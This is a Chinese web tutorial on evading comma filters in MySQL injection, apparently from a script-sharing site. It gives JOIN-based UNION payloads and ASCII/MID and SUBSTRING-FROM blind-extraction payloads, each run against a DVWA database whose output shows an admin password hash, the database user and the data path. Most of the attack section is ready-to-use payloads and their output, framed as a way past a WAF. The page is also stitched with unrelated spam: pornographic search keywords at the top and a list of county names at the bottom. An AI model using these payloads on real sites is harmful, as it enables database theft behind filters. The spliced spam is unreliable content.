最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

 更新時間:2018年08月19日 11:07:06   作者:曉楓v5  
SQL注入的繞過技巧有很多,下面這篇文章主要給大家介紹了關(guān)于SQL注入技巧之顯注與盲注中過濾逗號繞過的相關(guān)資料,文中通過示例代碼介紹的非常詳細,需要的朋友們下面隨著小編來一起學習學習吧

前言

sql注入在很早很早以前是很常見的一個漏洞。后來隨著安全水平的提高,sql注入已經(jīng)很少能夠看到了。但是就在今天,還有很多網(wǎng)站帶著sql注入漏洞在運行。下面這篇文章主要介紹了關(guān)于SQL注入逗號繞過的相關(guān)內(nèi)容,分享出來供大家參考學習,下面話不多說了,來一起看看詳細的介紹吧

1.聯(lián)合查詢顯注繞過逗號

在聯(lián)合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位,語句中包含了多個逗號,如果有WAF攔截了逗號時,我們的聯(lián)合查詢不能用了。

繞過

在顯示位上替換為常見的注入變量或其它語句

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C);

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在數(shù)據(jù)庫中演示聯(lián)合查詢

UNION開始是我們在URL中注入的語句,這里只是演示,在實際中如果我們在注入語句中有逗號就可能被攔截

mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出現(xiàn)逗號,使用Join來注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查詢我們想要的數(shù)據(jù)

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password   |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2.盲注中逗號繞過

MID 和substr 函數(shù)用于從文本字段中提取字符

mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查詢數(shù)據(jù)庫用戶名第一個字符的ascii碼

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注,通過猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗號繞過SUBTTRING 函數(shù)

substring(str FROM pos)

從字符串str的起始位置pos 返回一個子串

mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello  |
+---------------------------+
1 row in set (0.04 sec)

mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello  |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111,
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

相關(guān)文章

  • 詳解Navicat Premium 15 無限試用腳本的方法

    詳解Navicat Premium 15 無限試用腳本的方法

    這篇文章主要介紹了Navicat Premium 15 無限試用腳本的方法,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友參考下吧
    2020-11-11
  • 淺談一下數(shù)據(jù)庫系統(tǒng)的發(fā)展與組成

    淺談一下數(shù)據(jù)庫系統(tǒng)的發(fā)展與組成

    這篇文章主要介紹了淺談一下數(shù)據(jù)庫系統(tǒng)的發(fā)展與組成,數(shù)據(jù)庫系統(tǒng),指在計算機系統(tǒng)中引入數(shù)據(jù)庫后的系統(tǒng),一般由數(shù)據(jù)庫、數(shù)據(jù)庫管理系統(tǒng)、應用系統(tǒng)、數(shù)據(jù)庫管理員(DBA)構(gòu)成,本文就數(shù)據(jù)庫的發(fā)展展開詳細講解
    2023-07-07
  • explain慢查詢SQL調(diào)優(yōu)exists的實戰(zhàn)

    explain慢查詢SQL調(diào)優(yōu)exists的實戰(zhàn)

    這篇文章主要介紹了explain慢查詢SQL調(diào)優(yōu)exists的實戰(zhàn),經(jīng)過兩次優(yōu)化SQL語句之后,慢SQL的性能顯著提升了,耗時從8s優(yōu)化到了0.7s,現(xiàn)在拿出來給大家分享一下,希望對你會有所幫助
    2023-12-12
  • 利用DataSet部分功能實現(xiàn)網(wǎng)站登錄

    利用DataSet部分功能實現(xiàn)網(wǎng)站登錄

    這篇文章主要介紹了利用DataSet部分功能實現(xiàn)網(wǎng)站登錄 ,需要的朋友可以參考下
    2017-05-05
  • SQL server 2005的表分區(qū)

    SQL server 2005的表分區(qū)

    SQL server 2005的表分區(qū)...
    2006-12-12
  • openGauss數(shù)據(jù)庫在CentOS上的安裝實踐記錄

    openGauss數(shù)據(jù)庫在CentOS上的安裝實踐記錄

    這篇文章主要介紹了openGauss數(shù)據(jù)庫在CentOS上的安裝實踐,本文是基于華為云ECS+CentOS 7的openGauss數(shù)據(jù)庫安裝實踐,需要的朋友可以參考下
    2022-07-07
  • 記一次SQL優(yōu)化的實戰(zhàn)記錄

    記一次SQL優(yōu)化的實戰(zhàn)記錄

    作為開發(fā)人員,我們免不了與sql打交道,有些sql可能在業(yè)務的最開始,執(zhí)行是毫無問題的,但是隨著業(yè)務量的提升以及業(yè)務復雜度的加 深,可能之前的sql就會需要優(yōu)化了,下面這篇文章主要給大家介紹了關(guān)于一次SQL優(yōu)化的實戰(zhàn)記錄,需要的朋友可以參考下
    2022-07-07
  • SQL中ISNULL函數(shù)使用介紹

    SQL中ISNULL函數(shù)使用介紹

    這篇文章介紹了SQL Server、MySQL、Oracle三種數(shù)據(jù)庫中ISNULL函數(shù)的使用方法,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-12-12
  • 數(shù)據(jù)庫報:ORA-01196(ORA-10458/ORA-01110)錯誤的解決方法

    數(shù)據(jù)庫報:ORA-01196(ORA-10458/ORA-01110)錯誤的解決方法

    這篇文章主要給大家介紹了關(guān)于數(shù)據(jù)庫報:ORA-01196(ORA-10458/ORA-01110)錯誤的解決方法,文中通過示例代碼介紹的非常詳細,對大家學習或者使用數(shù)據(jù)庫具有一定的參考學習價值,需要的朋友們下面來一起學習學習吧
    2019-05-05
  • 把Navicat中數(shù)據(jù)庫所有表導出的方法

    把Navicat中數(shù)據(jù)庫所有表導出的方法

    通過Navicat導出數(shù)據(jù)庫中的數(shù)據(jù)是比較常用的操作之一,下面這篇文章主要給大家介紹了關(guān)于如何把Navicat中數(shù)據(jù)庫所有表導出的相關(guān)資料,文中通過圖文介紹的非常詳細,需要的朋友可以參考下
    2023-06-06

最新評論

固安县| 西城区| 高阳县| 红原县| 峡江县| 若羌县| 隆尧县| 南郑县| 甘肃省| 柯坪县| 军事| 甘德县| 台南县| 吴堡县| 蒲城县| 钟山县| 汕头市| 邹城市| 曲阜市| 阜新| 正阳县| 新郑市| 额济纳旗| 邢台县| 成武县| 耿马| 金沙县| 高青县| 建昌县| 舞阳县| 赤城县| 博白县| 垦利县| 米易县| 侯马市| 潢川县| 红桥区| 嘉祥县| 化州市| 拜城县| 紫阳县|